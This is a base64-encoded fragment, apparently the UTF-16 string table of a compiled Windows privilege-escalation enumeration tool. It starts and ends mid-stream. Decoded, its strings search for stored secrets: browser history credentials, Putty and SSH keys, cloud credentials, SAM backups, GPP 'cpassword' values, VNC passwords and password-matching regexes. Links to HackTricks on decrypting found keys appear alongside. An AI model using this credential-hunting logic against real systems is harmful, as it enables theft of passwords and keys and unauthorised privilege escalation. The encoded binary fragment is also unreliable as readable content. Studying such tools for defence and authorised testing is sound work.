QBkACAAbABvAGcAaQBuACAAZABhAHQAYQBiAGEAcwBlACAAZQB4AGkAcwB0AHMAIABhAHQAIAAAW0wAbwBvAGsAaQBuAGcAIABmAG8AcgAgAEcARQBUACAAYwByAGUAZABlAG4AdABpAGEAbABzACAAaQBuACAAQwBoAHIAbwBtAGUAIABoAGkAcwB0AG8AcgB5AAAhQwBoAHIAbwBtAGUAIABiAG8AbwBrAG0AYQByAGsAcwAAC1QAMQAyADEANwAAH0MAdQByAHIAZQBuAHQAIABJAEUAIAB0AGEAYgBzAABTTABvAG8AawBpAG4AZwAgAGYAbwByACAARwBFAFQAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABpAG4AIABJAEUAIABoAGkAcwB0AG8AcgB5AAAZSQBFACAAZgBhAHYAbwByAGkAdABlAHMAAB1QAHUAdAB0AHkAIABTAGUAcwBzAGkAbwBuAHMAAHlQAHIAbwB4AHkAUABhAHMAcwB3AG8AcgBkAC4AKgB8AFAAdQBiAGwAaQBjAEsAZQB5AEYAaQBsAGUALgAqAHwASABvAHMAdABOAGEAbQBlAC4AKgB8AFAAbwByAHQARgBvAHIAdwBhAHIAZABpAG4AZwBzAC4AKgAAJ1AAdQB0AHQAeQAgAFMAUwBIACAASABvAHMAdAAgAGsAZQB5AHMAAClTAFMASAAgAGsAZQB5AHMAIABpAG4AIAByAGUAZwBpAHMAdAByAHkAAIC3aAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAHMAcwBoAC0AawBlAHkAcwAtAGkAbgAtAHIAZQBnAGkAcwB0AHIAeQABgJ9JAGYAIAB5AG8AdQAgAGYAaQBuAGQAIABhAG4AeQB0AGgAaQBuAGcAIABoAGUAcgBlACwAIABmAG8AbABsAG8AdwAgAHQAaABlACAAbABpAG4AawAgAHQAbwAgAGwAZQBhAHIAbgAgAGgAbwB3ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAHQAaABlACAAUwBTAEgAIABrAGUAeQBzAAAlTwBwAGUAbgBTAFMASABcAEEAZwBlAG4AdABcAEsAZQB5AHMAACNDAGwAbwB1AGQAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAACNUADEANQAzADgAJgBUADEAMAA4ADMAJgBUADEAMAA4ADEAAIC/aAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAtAGkAbgBzAGkAZABlAC0AZgBpAGwAZQBzAAFTIAAgACAAIAB7ADAAfQBbAHsAMQB9AF0ACgAgACAAIAAgAEEAYwBjAGUAcwBzAGUAZAA6AHsAMgB9ACAALQAtACAAUwBpAHoAZQA6AHsAMwB9AAEfVQBuAG4AYQB0AHQAZQBuAGQAIABGAGkAbABlAHMAAE9MAG8AbwBrAGkAbgBnACAAZgBvAHIAIABjAG8AbQBtAG8AbgAgAFMAQQBNACAAJgAgAFMAWQBTAFQARQBNACAAYgBhAGMAawB1AHAAcwAAS0wAbwBvAGsAaQBuAGcAIABmAG8AcgAgAE0AYwBBAGYAZQBlACAAUwBpAHQAZQBsAGkAcwB0AC4AeABtAGwAIABGAGkAbABlAHMAAClDAGEAYwBoAGUAZAAgAEcAUABQACAAUABhAHMAcwB3AG8AcgBkAHMAABdjAHAAYQBzAHMAdwBvAHIAZAAuACoAABUgACAAIAAgAEYAbwB1AG4AZAAgAAA7UwBvAGYAdAB3AGEAcgBlAFwATwBSAEwAXABXAGkAbgBWAE4AQwAzAFwAUABhAHMAcwB3AG8AcgBkAAAxUwBvAGYAdAB3AGEAcgBlAFwAVABpAGcAaAB0AFYATgBDAFwAUwBlAHIAdgBlAHIAAEdTAG8AZgB0AHcAYQByAGUAXABTAGkAbQBvAG4AVABhAHQAaABhAG0AXABQAHUAVABUAFkAXABTAGUAcwBzAGkAbwBuAHMAAE1TAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAFMAZQByAHYAaQBjAGUAcwBcAFMATgBNAFAAAElMAG8AbwBrAGkAbgBnACAAZgBvAHIAIABwAG8AcwBzAGkAYgBsAGUAIAByAGUAZwBzACAAdwBpAHQAaAAgAGMAcgBlAGQAcwAAF1QAMQAwADEAMgAmAFQAMQAyADEANAAAgLVoAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAaQBuAHMAaQBkAGUALQB0AGgAZQAtAHIAZQBnAGkAcwB0AHIAeQABMVMATwBGAFQAVwBBAFIARQBcAFIAZQBhAGwAVgBOAEMAXABXAGkAbgBWAE4AQwA0AAATcABhAHMAcwB3AHcAbwByAGQAAC8qAGMAcgBlAGQAZQBuAHQAaQBhAGwAKgA7ACoAcABhAHMAcwB3AG8AcgBkACoAAICTWwBjAEMAXQBbAHIAUgBdAFsAZQBFAF0AWwBkAEQAXQBbAGUARQBdAFsAbgBOAF0AWwB0AFQAXQBbAGkASQBdAFsAYQBBAF0AWwBsAEwAXQB8AFsAcABQAF0AWwBhAEEAXQBbAHMAUwBdAFsAcwBTAF0AWwB3AFcAXQBbAG8ATwBdAFsAcgBSAF0AWwBkAEQAXQAACS4AdAB4AHQAAAsuAGMAbwBuAGYAAAkuAGMAbgBmAAAJLgB5AG0AbAAACy4AeQBhAG0AbAAACS4AZABvAGMAAAsuAGQAbwBjAHgAAAsuAHgAbABzAHgAAAsuAGoAcwBvAG4AAAkuAHgAbQBsAABlTABvAG8AawBpAG4AZwAgAGYAbwByACAAcABvAHMAcwBpAGIAbABlACAAcABhAHMAcwB3AG8AcgBkACAAZgBpAGwAZQBzACAAaQBuACAAdQBzAGUAcgBzACAAaABvAG0AZQBzAAAXVAAxADAAOAAzACYAVAAxADAAOAAxAAAJewAwAH0AXAAADVwAVQBzAGUAcgBzAAADLgAAMTsAKgBwAGEAcwBzAHcAbwByAGQAKgA7ACoAYwByAGUAZABlAG4AdABpAGEAbAAqAAA5fAAuACoAcABhAHMAcwB3AG8AcgBkAC4AKgB8AC4AKgBjAHIAZQBkAGUAbgB0AGkAYQBsAC4AKgAAXUwAbwBvAGsAaQBuAGcAIABpAG4AcwBpAGQAZQAgAHQAaABlACAAUgBlAGMAeQBjAGwAZQAgAEIAaQBuACAAZgBvAHIAIABjAHIAZQBkAHMAIABmAGkAbABlAHMAACNUADEAMAA4ADMAJgBUADEAMAA4ADEAJgBUADEAMQA0ADUAAGlTAGUAYQByAGMAaABpAG4AZwAgAGsAbgBvAHcAbgAgAGYAaQBsAGUAcwAgAHQAaABhAHQAIABjAGEAbgAgAGMAbwBuAHQAYQBpAG4AIABjAHIAZQBkAHMAIABpAG4AIABoAG8AbQBlAABHTABvAG8AawBpAG4AZwAgAGYAbwByACAAZABvAGMAdQBtAGUAbgB0AHMAIAAtAC0AbABpAG0AaQB0ACAAMQAwADAALQAtAAELVAAxADAAOAAzAAAzUgBlAGMAZQBuAHQAIABmAGkAbABlAHMAIAAtAC0AbABpAG0AaQB0ACAANwAwAC0ALQABFXIAbwBvAHQAXABjAGkAbQB2ADIAADdTAEUATABFAEMAVAAgACoAIABGAFIATwBNACAAdwBpAG4AMwAyAF8AcwBlAHIAdgBpAGMAZQAAQ1MAWQBTAFQARQBNAFwAQwB1AHIAcgBlAG4AdABDAG8AbgB0AHIAbwBsAFMAZQB0AFwAUwBlAHIAdgBpAGMAZQBzAABFUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABTAGUAcgB2AGkAYwBlAHMAXAAAE0kAbQBhAGcAZQBQAGEAdABoAAAZXABTAHkAcwB0AGUAbQBSAG8AbwB0AFwAABslAFMAeQBzAHQAZQBtAFIAbwBvAHQAJQBcAAADMwAAAzQAAAM1AAAJQgBvAG8AdAAADVMAeQBzAHQAZQBtAAARQQB1AHQAbwBsAG8AYQBkAAANTQBhAG4AdQBhAGwAACFHAGUAdABTAGUAcgB2AGkAYwBlAEgAYQBuAGQAbABlAABDcwB5AHMAdABlAG0AXABjAHUAcgByAGUAbgB0AGMAbwBuAHQAcgBvAGwAcwBlAHQAXABzAGUAcgB2AGkAYwBlAHMAAEVzAHkAcwB0AGUAbQBcAGMAdQByAHIAZQBuAHQAYwBvAG4AdAByAG8AbABzAGUAdABcAHMAZQByAHYAaQBjAGUAcwBcAABPSABLAEwATQBcAHMAeQBzAHQAZQBtAFwAYwB1AHIAcgBlAG4AdABjAG8AbgB0AHIAbwBsAHMAZQB0AFwAcwBlAHIAdgBpAGMAZQBzAFwAAFtTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAAY1MATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuAE8AbgBjAGUAAHNTAE8ARgBUAFcAQQBSAEUAXABXAG8AdwA2ADQAMwAyAE4AbwBkAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAAe1MATwBGAFQAVwBBAFIARQBcAFcAbwB3ADYANAAzADIATgBvAGQAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuAE8AbgBjAGUAAGlTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgBTAGUAcgB2AGkAYwBlAABxUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4ATwBuAGMAZQBTAGUAcgB2AGkAYwBlAACAgVMATwBGAFQAVwBBAFIARQBcAFcAbwB3ADYANAAzADIATgBvAGQAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuAFMAZQByAHYAaQBjAGUAAICJUwBPAEYAVABXAEEAUgBFAFwAVwBvAHcANgA0ADMAMgBOAG8AZABlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4ATwBuAGMAZQBTAGUAcgB2AGkAYwBlAAALSABLAEwATQBcAAB5UwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAUwBlAHMAcwBpAG8AbgAgAE0AYQBuAGEAZwBlAHIAXABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAAAlQAEEAVABIAAAZTQBhAG4AdQBmAGEAYwB0AHUAcgBlAHIAACttAGkAYwByAG8AcwBvAGYAdAAgAGMAbwByAHAAbwByAGEAdABpAG8AbgAAC00AbwBkAGUAbAAAD1YASQBSAFQAVQBBAEwAAA12AG0AdwBhAHIAZQAAFVYAaQByAHQAdQBhAGwAQgBvAHgAAFlTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABOAFQAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AABdQAHIAbwBkAHUAYwB0AE4AYQBtAGUAABNFAGQAaQB0AGkAbwBuAEkARAAAE1IAZQBsAGUAYQBzAGUASQBkAAAXQgB1AGkAbABkAEIAcgBhAG4AYwBoAAAzQwB1AHIAcgBlAG4AdABNAGEAagBvAHIAVgBlAHIAcwBpAG8AbgBOAHUAbQBiAGUAcgAAHUMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgAALVAAUgBPAEMARQBTAFMATwBSAF8AQQBSAEMASABJAFQARQBDAFQAVQBSAEUAAF1TAEUATABFAEMAVAAgAEgAbwB0AEYAaQB4AEkARAAgAEYAUgBPAE0AIABXAGkAbgAzADIAXwBRAHUAaQBjAGsARgBpAHgARQBuAGcAaQBuAGUAZQByAGkAbgBnAAARSABvAHQARgBpAHgASQBEAAARSABvAHMAdABuAGEAbQBlAAAXRABvAG0AYQBpAG4AIABOAGEAbQBlAAAZQQByAGMAaABpAHQAZQBjAHQAdQByAGUAAB1QAHIAbwBjAGUAcwBzAG8AcgBDAG8AdQBuAHQAABVTAHkAcwB0AGUAbQBMAGEAbgBnAAAZSwBlAHkAYgBvAGEAcgBkAEwAYQBuAGcAABFUAGkAbQBlAFoAbwBuAGUAACFJAHMAVgBpAHIAdAB1AGEAbABNAGEAYwBoAGkAbgBlAAAZQwB1AHIAcgBlAG4AdAAgAFQAaQBtAGUAABtIAGkAZwBoAEkAbgB0AGUAZwByAGkAdAB5AAAZUABhAHIAdABPAGYARABvAG0AYQBpAG4AAClyAG8AbwB0AFwAUwBlAGMAdQByAGkAdAB5AEMAZQBuAHQAZQByADIAAD1TAEUATABFAEMAVAAgACoAIABGAFIATwBNACAAQQBuAHQAaQBWAGkAcgB1AHMAUAByAG8AZAB1AGMAdAAAF2QAaQBzAHAAbABhAHkATgBhAG0AZQAAFVAAcgBvAGQAdQBjAHQARQBYAEUAAC1wAGEAdABoAFQAbwBTAGkAZwBuAGUAZABQAHIAbwBkAHUAYwB0AEUAeABlAAAxcABhAHQAaABUAG8AUwBpAGcAbgBlAGQAUgBlAHAAbwByAHQAaQBuAGcARQB4AGUAAHNTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABQAG8AbABpAGMAaQBlAHMAXABTAHkAcwB0AGUAbQAANUMAbwBuAHMAZQBuAHQAUAByAG8AbQBwAHQAQgBlAGgAYQB2AGkAbwByAEEAZABtAGkAbgAAJXsAMAB9ACAALQAgAE4AbwAgAHAAcgBvAG0AcAB0AGkAbgBnAAE3ewAwAH0AIAAtACAAUAByAG8AbQBwAHQATwBuAFMAZQBjAHUAcgBlAEQAZQBzAGsAdABvAHAAAUt7ADAAfQAgAC0AIABQAHIAbwBtAHAAdABQAGUAcgBtAGkAdABEAGUAbgB5AE8AbgBTAGUAYwB1AHIAZQBEAGUAcwBrAHQAbwBwAAFNewAwAH0AIAAtACAAUAByAG8AbQBwAHQARgBvAHIAQwByAGUAZABzAE4AbwB0AE8AbgBTAGUAYwB1AHIAZQBEAGUAcwBrAHQAbwBwAAFXewAwAH0AIAAtACAAUAByAG8AbQBwAHQARgBvAHIAUABlAHIAbQBpAHQARABlAG4AeQBOAG8AdABPAG4AUwBlAGMAdQByAGUARABlAHMAawB0AG8AcAABQ3sAMAB9ACAALQAgAFAAcgBvAG0AcAB0AEYAbwByAE4AbwBuAFcAaQBuAGQAbwB3AHMAQgBpAG4AYQByAGkAZQBzAAErUABvAHcAZQByAFMAaABlAGwAbAAgAHYAMgAgAFYAZQByAHMAaQBvAG4AAGFTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAAxAFwAUABvAHcAZQByAFMAaABlAGwAbABFAG4AZwBpAG4AZQAAI1AAbwB3AGUAcgBTAGgAZQBsAGwAVgBlAHIAcwBpAG8AbgAAK1AAbwB3AGUAcgBTAGgAZQBsAGwAIAB2ADUAIABWAGUAcgBzAGkAbwBuAABhUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAMwBcAFAAbwB3AGUAcgBTAGgAZQBsAGwARQBuAGcAaQBuAGUAAC1UAHIAYQBuAHMAYwByAGkAcAB0AGkAbwBuACAAUwBlAHQAdABpAG4AZwBzAAAvTQBvAGQAdQBsAGUAIABMAG8AZwBnAGkAbgBnACAAUwBlAHQAdABpAG4AZwBzAAA5UwBjAHIAaQBwAHQAYgBsAG8AYwBrACAATABvAGcAZwBpAG4AZwAgAFMAZQB0AHQAaQBuAGcAcwAAeVMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFAAbwB3AGUAcgBTAGgAZQBsAGwAXABUAHIAYQBuAHMAYwByAGkAcAB0AGkAbwBuAACAm0gASwBMAE0AXABTAE8ARgBUAFcAQQBSAEUAXABXAG8AdwA2ADQAMwAyAE4AbwBkAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAVAByAGEAbgBzAGMAcgBpAHAAdABpAG8AbgAAISAAIAB7ADAALAAzADAAfQAgADoAIAB7ADEAfQANAAoAAHlTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwATQBvAGQAdQBsAGUATABvAGcAZwBpAG4AZwAAgJFTAE8ARgBUAFcAQQBSAEUAXABXAG8AdwA2ADQAMwAyAE4AbwBkAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwATQBvAGQAdQBsAGUATABvAGcAZwBpAG4AZwAAgINTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAAICbUwBPAEYAVABXAEEAUgBFAFwAVwBvAHcANgA0ADMAMgBOAG8AZABlAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUABvAHcAZQByAFMAaABlAGwAbABcAFMAYwByAGkAcAB0AEIAbABvAGMAawBMAG8AZwBnAGkAbgBnAAB/UwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUABvAGwAaQBjAGkAZQBzAFwAUwB5AHMAdABlAG0AXABBAHUAZABpAHQAABtTAHkAcwB0AGUAbQAuAFMAdAByAGkAbgBnAACAoVMAbwBmAHQAdwBhAHIAZQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEUAdgBlAG4AdABMAG8AZwBcAEUAdgBlAG4AdABGAG8AcgB3AGEAcgBkAGkAbgBnAFwAUwB1AGIAcwBjAHIAaQBwAHQAaQBvAG4ATQBhAG4AYQBnAGUAcgAAV1MAbwBmAHQAdwBhAHIAZQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBlAHIAdgBpAGMAZQBzAFwAQQBkAG0AUAB3AGQAABtBAGQAbQBQAHcAZABFAG4AYQBiAGwAZQBkAAAZTABBAFAAUwAgAEUAbgBhAGIAbABlAGQAAC9MAEEAUABTACAAQQBkAG0AaQBuACAAQQBjAGMAbwB1AG4AdAAgAE4AYQBtAGUAACFBAGQAbQBpAG4AQQBjAGMAbwB1AG4AdABOAGEAbQBlAAAxTABBAFAAUwAgAFAAYQBzAHMAdwBvAHIAZAAgAEMAbwBtAHAAbABlAHgAaQB0AHkAACVQAGEAcwBzAHcAbwByAGQAQwBvAG0AcABsAGUAeABpAHQAeQAAKUwAQQBQAFMAIABQAGEAcwBzAHcAbwByAGQAIABMAGUAbgBnAHQAaAAAHVAAYQBzAHMAdwBvAHIAZABMAGUAbgBnAHQAaAAARUwAQQBQAFMAIABFAHgAcABpAHIAYQB0AGkAbwBuACAAUAByAG8AdABlAGMAdABpAG8AbgAgAEUAbgBhAGIAbABlAGQAAD1QAHcAZABFAHgAcABpAHIAYQB0AGkAbwBuAFAAcgBvAHQAZQBjAHQAaQBvAG4ARQBuAGEAYgBsAGUAZAAAd1MAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEkAbgB0AGUAcgBuAGUAdAAgAFMAZQB0AHQAaQBuAGcAcwAAE2QAbwBtAGEAaQBuAFMAaQBkAAANZABvAG0AYQBpAG4AAA9MAG8AYwBrAG8AdQB0AAALQQBkAG0AaQBuAAAPQwBhAHAAdABpAG8AbgAAFSgARABpAHMAYQBiAGwAZQBkACkAABMoAEwAbwBjAGsAbwB1AHQAKQAAEUYAdQBsAGwAbgBhAG0AZQAAC2YAYQBsAHMAZQAAKQoAIAAgACAAIAAgACAAIAAgAHwALQA+AEcAcgBvAHUAcABzADoAIAABLQoAIAAgACAAIAAgACAAIAAgAHwALQA+AFAAYQBzAHMAdwBvAHIAZAA6ACAAASVQAGEAcwBzAHcAbwByAGQAQwBoAGEAbgBnAGUAYQBiAGwAZQAAE04AbwB0AEMAaABhAG4AZwBlAAATQwBhAG4AQwBoAGEAbgBnAGUAAAMtAAEfUABhAHMAcwB3AG8AcgBkAEUAeABwAGkAcgBlAHMAAA9OAG8AdABFAHgAcABpAAAJRQB4AHAAaQAAIVAAYQBzAHMAdwBvAHIAZABSAGUAcQB1AGkAcgBlAGQAAA1OAG8AdABSAGUAcQAAB1IAZQBxAABPIAAgAFsALQBdACAAQwBvAG4AdAByAG8AbABsAGUAZAAgAGUAeABjAGUAcAB0AGkAbwBuACwAIABpAG4AZgBvACAAYQBiAG8AdQB0ACAAARUgAG4AbwB0ACAAZgBvAHUAbgBkAAALUwAtADEALQAwAAEdTgB1AGwAbAAgAEEAdQB0AGgAbwByAGkAdAB5AAAPUwAtADEALQAwAC0AMAABDU4AbwBiAG8AZAB5AAALUwAtADEALQAxAAEfVwBvAHIAbABkACAAQQB1AHQAaABvAHIAaQB0AHkAAA9TAC0AMQAtADEALQAwAAERRQB2AGUAcgB5AG8AbgBlAAALUwAtADEALQAyAAEfTABvAGMAYQBsACAAQQB1AHQAaABvAHIAaQB0AHkAAA9TAC0AMQAtADIALQAwAAELUwAtADEALQAzAAEjQwByAGUAYQB0AG8AcgAgAEEAdQB0AGgAbwByAGkAdAB5AAAPUwAtADEALQAzAC0AMAABG0MAcgBlAGEAdABvAHIAIABPAHcAbgBlAHIAAA9TAC0AMQAtADMALQAxAAEbQwByAGUAYQB0AG8AcgAgAEcAcgBvAHUAcAAAD1MALQAxAC0AMwAtADQAARlPAHcAbgBlAHIAIABSAGkAZwBoAHQAcwAAC1MALQAxAC0ANAABKU4AbwBuAC0AdQBuAGkAcQB1AGUAIABBAHUAdABoAG8AcgBpAHQAeQABGU4AVAAgAEEAdQB0AGgAbwByAGkAdAB5AAAPUwAtADEALQA1AC0AMQABDUQAaQBhAGwAdQBwAAAPUwAtADEALQA1AC0AMgABD04AZQB0AHcAbwByAGsAAA9TAC0AMQAtADUALQAzAAELQgBhAHQAYwBoAAAPUwAtADEALQA1AC0ANAABF0kAbgB0AGUAcgBhAGMAdABpAHYAZQAAG1MALQAxAC0ANQAtADUALQAuACsALQAuACsAARtMAG8AZwBvAG4AIABTAGUAcwBzAGkAbwBuAAAPUwAtADEALQA1AC0ANgABD1MAZQByAHYAaQBjAGUAAA9TAC0AMQAtADUALQA3AAETQQBuAG8AbgB5AG0AbwB1AHMAAA9TAC0AMQAtADUALQA5AAE7RQBuAHQAZQByAHAAcgBpAHMAZQAgAEQAbwBtAGEAaQBuACAAQwBvAG4AdAByAG8AbABsAGUAcgBzAAARUwAtADEALQA1AC0AMQAwAAEdUAByAGkAbgBjAGkAcABhAGwAIABTAGUAbABmAAARUwAtADEALQA1AC0AMQAxAAEnQQB1AHQAaABlAG4AdABpAGMAYQB0AGUAZAAgAFUAcwBlAHIAcwAAEVMALQAxAC0ANQAtADEAMgABH1IAZQBzAHQAcgBpAGMAdABlAGQAIABDAG8AZABlAAARUwAtADEALQA1AC0AMQAzAAErVABlAHIAbQBpAG4AYQBsACAAUwBlAHIAdgBlAHIAIABVAHMAZQByAHMAABFTAC0AMQAtADUALQAxADQAATFSAGUAbQBvAHQAZQAgAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAEwAbwBnAG8AbgAAEVMALQAxAC0ANQAtADEANwABI1QAaABpAHMAIABPAHIAZwBhAG4AaQB6AGEAdABpAG8AbgAAEVMALQAxAC0ANQAtADEAOAABGUwAbwBjAGEAbAAgAFMAeQBzAHQAZQBtAAARUwAtADEALQA1AC0AMQA5AAE1TgBUACAAQQB1AHQAaABvAHIAaQB0AHkAXABMAG8AYwBhAGwAIABTAGUAcgB2AGkAYwBlAAARUwAtADEALQA1AC0AMgAwAAE5TgBUACAAQQB1AHQAaABvAHIAaQB0AHkAXABOAGUAdAB3AG8AcgBrACAAUwBlAHIAdgBpAGMAZQAAHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADAAMAABHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADAAMQABC0cAdQBlAHMAdAAAHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADAAMgABDUsAUgBCAFQARwBUAAAdUwAtADEALQA1AC0AMgAxAC4AKwAtADUAMQAyAAEbRABvAG0AYQBpAG4AIABBAGQAbQBpAG4AcwAAHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADEAMwABGUQAbwBtAGEAaQBuACAAVQBzAGUAcgBzAAAdUwAtADEALQA1AC0AMgAxAC4AKwAtADUAMQA0AAEbRABvAG0AYQBpAG4AIABHAHUAZQBzAHQAcwAAHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADEANQABIUQAbwBtAGEAaQBuACAAQwBvAG0AcAB1AHQAZQByAHMAAB1TAC0AMQAtADUALQAyADEALgArAC0ANQAxADYAASVEAG8AbQBhAGkAbgAgAEMAbwBuAHQAcgBvAGwAbABlAHIAcwAAHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADEANwABH0MAZQByAHQAIABQAHUAYgBsAGkAcwBoAGUAcgBzAAAdUwAtADEALQA1AC0AMgAxAC4AKwAtADUAMQA4AAEbUwBjAGgAZQBtAGEAIABBAGQAbQBpAG4AcwAAHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADEAOQABI0UAbgB0AGUAcgBwAHIAaQBzAGUAIABBAGQAbQBpAG4AcwAAHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADIAMAABN0cAcgBvAHUAcAAgAFAAbwBsAGkAYwB5ACAAQwByAGUAYQB0AG8AcgAgAE8AdwBuAGUAcgBzAAAdUwAtADEALQA1AC0AMgAxAC4AKwAtADUAMgA1AAEfUAByAG8AdABlAGMAdABlAGQAIABVAHMAZQByAHMAAB1TAC0AMQAtADUALQAyADEALgArAC0ANQAyADYAARVLAGUAeQAgAEEAZABtAGkAbgBzAAAdUwAtADEALQA1AC0AMgAxAC4AKwAtADUAMgA3AAErRQBuAHQAZQByAHAAcgBpAHMAZQAgAEsAZQB5ACAAQQBkAG0AaQBuAHMAAB1TAC0AMQAtADUALQAyADEALgArAC0ANQA1ADMAASdSAEEAUwAgAGEAbgBkACAASQBBAFMAIABTAGUAcgB2AGUAcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA0ADQAAR1BAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAABlTAC0AMQAtADUALQAzADIALQA1ADQANQABGVMALQAxAC0ANQAtADMAMgAtADUANAA2AAENRwB1AGUAcwB0AHMAABlTAC0AMQAtADUALQAzADIALQA1ADQANwABF1AAbwB3AGUAcgAgAFUAcwBlAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANAA4AAEjQQBjAGMAbwB1AG4AdAAgAE8AcABlAHIAYQB0AG8AcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA0ADkAASFTAGUAcgB2AGUAcgAgAE8AcABlAHIAYQB0AG8AcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA1ADAAAR9QAHIAaQBuAHQAIABPAHAAZQByAGEAdABvAHIAcwAAGVMALQAxAC0ANQAtADM